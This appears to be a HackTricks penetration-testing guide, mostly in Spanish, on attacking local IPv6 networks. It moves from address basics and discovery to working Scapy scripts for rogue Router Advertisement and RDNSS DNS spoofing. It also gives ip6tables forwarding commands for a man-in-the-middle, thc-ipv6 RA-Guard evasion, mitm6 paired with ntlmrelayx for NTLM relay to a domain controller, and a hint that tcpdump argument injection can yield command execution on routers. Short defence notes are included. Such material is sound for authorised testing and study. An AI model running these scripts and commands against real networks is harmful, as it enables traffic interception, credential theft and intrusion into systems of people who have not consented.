Pentesting IPv6
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
IPv6 Teoría básica
Redes
Las direcciones IPv6 están estructuradas para mejorar la organización de la red y la interacción entre dispositivos. Una dirección IPv6 se divide en:
- Prefijo de red: Los 48 bits iniciales, que determinan el segmento de red.
- ID de subred: Los 16 bits siguientes, usados para definir subredes específicas dentro de la red.
- Identificador de interfaz: Los 64 bits finales, que identifican de forma única a un dispositivo dentro de la subred.
Aunque IPv6 omite el protocolo ARP presente en IPv4, introduce ICMPv6 con dos mensajes principales:
- Neighbor Solicitation (NS): Mensajes multicast para la resolución de direcciones.
- Neighbor Advertisement (NA): Respuestas unicast a NS o anuncios espontáneos.
IPv6 también incorpora tipos de direcciones especiales:
- Dirección loopback (
::1): Equivalente a127.0.0.1de IPv4, para comunicación interna dentro del host. - Direcciones Link-Local (
FE80::/10): Para actividades en la red local, no para el enrutamiento por Internet. Los dispositivos en la misma red local pueden descubrirse entre sí usando este rango.
Uso práctico de IPv6 en comandos de red
Para interactuar con redes IPv6, puedes usar varios comandos:
- Ping direcciones Link-Local: Comprobar la presencia de dispositivos locales usando
ping6. - Neighbor Discovery: Usa
ip neighpara ver dispositivos descubiertos en la capa de enlace. - alive6: Una herramienta alternativa para descubrir dispositivos en la misma red.
A continuación hay algunos ejemplos de comandos:
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
IPv6 addresses can be derived from a device’s MAC address for local communication. Here’s a simplified guide on how to derive the Link-local IPv6 address from a known MAC address, and a brief overview of IPv6 address types and methods to discover IPv6 addresses within a network.
Deriving Link-local IPv6 from MAC Address
Dada una MAC address 12:34:56:78:9a:bc, puedes construir la Link-local IPv6 address de la siguiente manera:
- Convert MAC to IPv6 format:
1234:5678:9abc - Prepend
fe80::and insertfffein the middle:fe80::1234:56ff:fe78:9abc - Invert the seventh bit from the left, changing
1234to1034:fe80::1034:56ff:fe78:9abc
IPv6 Address Types
- Unique Local Address (ULA): Para comunicaciones locales, no destinado al enrutamiento en Internet público. Prefix:
FEC00::/7 - Multicast Address: Para comunicación one-to-many. Entregado a todas las interfaces del grupo multicast. Prefix:
FF00::/8 - Anycast Address: Para comunicación one-to-nearest. Enviado a la interfaz más cercana según el protocolo de enrutamiento. Forma parte del rango global unicast
2000::/3.
Address Prefixes
- fe80::/10: Link-Local addresses (similar a 169.254.x.x)
- fc00::/7: Unique Local-Unicast (similar a rangos privados IPv4 como 10.x.x.x, 172.16.x.x, 192.168.x.x)
- 2000::/3: Global Unicast
- ff02::1: Multicast All Nodes
- ff02::2: Multicast Router Nodes
Discovering IPv6 Addresses within a Network
Way 1: Using Link-local Addresses
- Obtén la MAC address de un dispositivo dentro de la red.
- Derive the Link-local IPv6 address from the MAC address.
Way 2: Using Multicast
- Send a ping to the multicast address
ff02::1to discover IPv6 addresses on the local network.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Attacks
Existen varias técnicas para ejecutar MitM attacks en redes IPv6, como:
- Spoofing ICMPv6 neighbor or router advertisements.
- Usar ICMPv6 redirect o mensajes “Packet Too Big” para manipular el enrutamiento.
- Atacar mobile IPv6 (usualmente requiere que IPSec esté deshabilitado).
- Configurar un rogue DHCPv6 server.
Identificación de direcciones IPv6 en la red
Explorando subdominios
Un método para encontrar subdominios que potencialmente estén vinculados a direcciones IPv6 consiste en aprovechar los motores de búsqueda. Por ejemplo, emplear un patrón de consulta como ipv6.* puede ser efectivo. Específicamente, el siguiente comando de búsqueda puede usarse en Google:
site:ipv6./
Utilizando consultas DNS
Para identificar direcciones IPv6, se pueden consultar ciertos tipos de registros DNS:
- AXFR: Solicita una transferencia de zona completa, potencialmente revelando una amplia variedad de registros DNS.
- AAAA: Busca directamente direcciones IPv6.
- ANY: Una consulta amplia que devuelve todos los registros DNS disponibles.
Sondeo con ping6
Después de identificar direcciones IPv6 asociadas con una organización, se puede usar la utilidad ping6 para sondear. Esta herramienta ayuda a evaluar la capacidad de respuesta de las direcciones IPv6 identificadas, y también puede ayudar a descubrir dispositivos IPv6 adyacentes.
Técnicas de ataque en la red local IPv6
Las siguientes secciones cubren ataques IPv6 prácticos a nivel de capa-2 que pueden ejecutarse dentro del mismo segmento /64 sin conocer ningún prefijo global. Todos los paquetes mostrados abajo son link-local y viajan solo a través del switch local, lo que los hace extremadamente sigilosos en la mayoría de los entornos.
Ajuste del sistema para un laboratorio estable
Antes de experimentar con tráfico IPv6, se recomienda endurecer tu equipo para evitar ser envenenado por tus propias pruebas y obtener el mejor rendimiento durante massive packet injection/sniffing.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Passive NDP & DHCPv6 Sniffing
Porque cada host IPv6 se une automáticamente a múltiples grupos multicast (ff02::1, ff02::2, …) y utiliza ICMPv6 para SLAAC/NDP, puedes mapear todo el segmento sin enviar un solo paquete. El siguiente one-liner de Python/Scapy escucha los mensajes L2 más interesantes e imprime un registro coloreado y con marcas de tiempo de quién es quién:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
Resultado: una topología link-local completa (MAC ⇄ IPv6) en cuestión de segundos, sin activar sistemas IPS/IDS que dependen de escaneos activos.
Router Advertisement (RA) Spoofing
Los hosts IPv6 dependen de ICMPv6 Router Advertisements para descubrir la puerta de enlace predeterminada. Si inyectas RAs forjados con mayor frecuencia que el router legítimo, los dispositivos cambiarán silenciosamente a ti como puerta de enlace.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Para realmente reenviar el tráfico después de ganar la carrera:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Banderas de Router Advertisement (M/O) y Preferencia de Router Predeterminada (Prf)
| Bandera | Significado | Efecto en el comportamiento del cliente |
|---|---|---|
| M (Managed Address Configuration) | Señala que la asignación de direcciones con estado mediante DHCPv6 está disponible en el segmento. | Fuerte indicio de que el DHCPv6 spoofing puede funcionar. |
| O (Other Configuration) | Indica que los hosts deben usar DHCPv6 para parámetros adicionales (DNS, NTP, …). | La dirección normalmente sigue proviniendo de SLAAC, pero el DNS puede ser secuestrado con DHCPv6. |
| M=0 / O=0 | Red puramente SLAAC. | DHCPv6 puede no aparecer nunca; céntrate en RA maliciosos / RDNSS en lugar de mitm6. |
| M=1 / O=1 | Entorno mixto. | Tanto la información de DHCPv6 como de SLAAC pueden coexistir; la superficie de spoofing es la mayor. |
Durante un pentest puedes simplemente inspeccionar el RA legítimo una vez y decidir qué vector es factible:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
Busca el campo flags [M,O] en el volcado – no hay que adivinar.
El campo Prf (Router Preference) dentro del encabezado RA controla cuán atractiva parece tu router malicioso cuando hay múltiples gateways presentes:
| Prf value | Binary | Meaning |
|---|---|---|
| High | 10 | Los clientes prefieren este router sobre cualquier uno Medium/Low |
| Medium (default) | 01 | Usado por casi todos los dispositivos legítimos |
| Low | 00 | Elegido solo cuando no existe un router mejor |
Al generar el paquete con Scapy puedes configurarlo mediante el parámetro prf como se muestra arriba (prf=0x1 → Alto). Combinar Prf Alto, un intervalo corto, y una duración distinta de cero hace que tu puerta de enlace maliciosa sea notablemente estable.
RDNSS (DNS) Spoofing via RA
RFC 8106 permite añadir una opción Recursive DNS Server (RDNSS) dentro de una RA. Esta es la primitiva de secuestro DNS de referencia cuando el segmento es solo SLAAC (M=0 / O=0) y los clientes no usan DHCPv6. El soporte por parte del cliente es dependiente de la implementación, así que valida el SO objetivo en el laboratorio en lugar de asumir un consumo universal de RDNSS.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
El mismo paquete también puede llevar una opción DNSSL para envenenar rutas de resolución de nombres cortos en entornos IPv6-only o dual-stack donde los dominios de búsqueda importan. Si detienes el ataque de forma limpia, envía un RA de reversión con la misma opción y lifetime=0.
Evasión de RA-Guard en la práctica
RFC 7113 documenta por qué las implementaciones simplistas de RA-Guard pueden ser eludidas cuando no analizan la cadena completa de encabezados IPv6 o fallan al tratar fragmentos. Esto no es investigación nueva, pero sigue siendo relevante operativamente porque muchos switches de acceso solo implementan filtrado parcial.
Las versiones recientes de thc-ipv6 exponen esto directamente en las herramientas:
# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64
# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64
# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0
Usa estos solo después de confirmar que un RA forjado normal está siendo filtrado. Si -H/-D/-F de repente hace que los hosts acepten tu rogue router, tienes evidencia de que el switch está haciendo match solo con la cabecera IPv6 fija en lugar del payload real de ICMPv6 RA.
DHCPv6 DNS Spoofing (mitm6)
Cuando el RA legítimo anuncia M y/o O, los clientes Windows comúnmente emiten solicitudes DHCPv6 para dirección o configuración auxiliar. mitm6 abusa de ese comportamiento respondiendo al DHCPv6 e insertando tu link-local IPv6 como DNS con una concesión corta. Esto permite:
- NTLM relay attacks (WPAD + DNS hijacking)
- Intercepting internal name resolution without touching routers
- Low-noise targeting because you can scope the poisoning to specific hosts or domains
Uso típico:
# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus
# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad
Detalles útiles de las compilaciones actuales de mitm6:
--no-ramantiene el ataque solo por DHCPv6 cuando la red detecta RAs no autorizadas.-d/--domainy--host-allowlistmantienen el poisoning más restringido en lugar de secuestrar todas las consultas en el segmento.--ignore-nofqdnreduce el ruido de clientes que omiten la opción DHCPv6 FQDN.
Si el segmento es puro SLAAC (M=0 / O=0), mitm6 suele ser la herramienta equivocada. Usa RAs/RDNSS rogue en su lugar y mantén la lógica de relay de más alto nivel en la página WPAD/relay (the WPAD/relay page).
Defensas
- RA Guard / DHCPv6 Guard / ND Inspection en switches gestionados.
- ACLs de puerto que permiten solo al MAC del router legítimo enviar RAs.
- Monitoriza unexpected high-rate RAs o RDNSS changes repentinos.
- Desactivar IPv6 en endpoints es una solución temporal que a menudo rompe servicios modernos y oculta puntos ciegos — prefiere L2 filtering en su lugar.
NDP Router Discovery on Guest/Public SSIDs and Management Service Exposure
Muchos routers de consumo exponen daemons de gestión (HTTP(S), SSH/Telnet, TR-069, etc.) en todas las interfaces. En algunas implementaciones, el SSID “guest/public” está puenteado al WAN/core y es IPv6-only. Incluso si el IPv6 del router cambia en cada arranque, puedes aprenderlo de forma fiable usando NDP/ICMPv6 y luego conectar directamente al plano de gestión desde el SSID guest.
Flujo de trabajo típico desde un cliente conectado al SSID guest/public:
- Descubrir el router mediante ICMPv6 Router Solicitation al multicast All-Routers
ff02::2y capturar el Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
El RA revela la link-local del router y, a menudo, una dirección/prefijo global. Si solo se conoce una link-local, recuerda que las conexiones deben especificar el índice de zona, p. ej. ssh -6 admin@[fe80::1%wlan0].
Alternativa: usa la suite ndisc6 si está disponible:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- Acceder a servicios expuestos a través de IPv6 desde la SSID de invitados:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- Si el shell de gestión proporciona herramientas de captura de paquetes vía un wrapper (p. ej., tcpdump), comprueba inyección de argumentos/nombres de fichero que permita pasar flags extra de tcpdump como
-G/-W/-zpara lograr ejecución de comandos post-rotate. Véase:
Defences/notes:
- No enlaces la gestión a bridges de invitados/públicos; aplica firewalls IPv6 en los bridges de SSID.
- Limita y filtra NDP/RS/RA en segmentos de invitados cuando sea posible.
- Para los servicios que deben ser accesibles, exige authN/MFA y rate-limits estrictos.
References
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 7113 – RA-Guard Implementation Advice
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


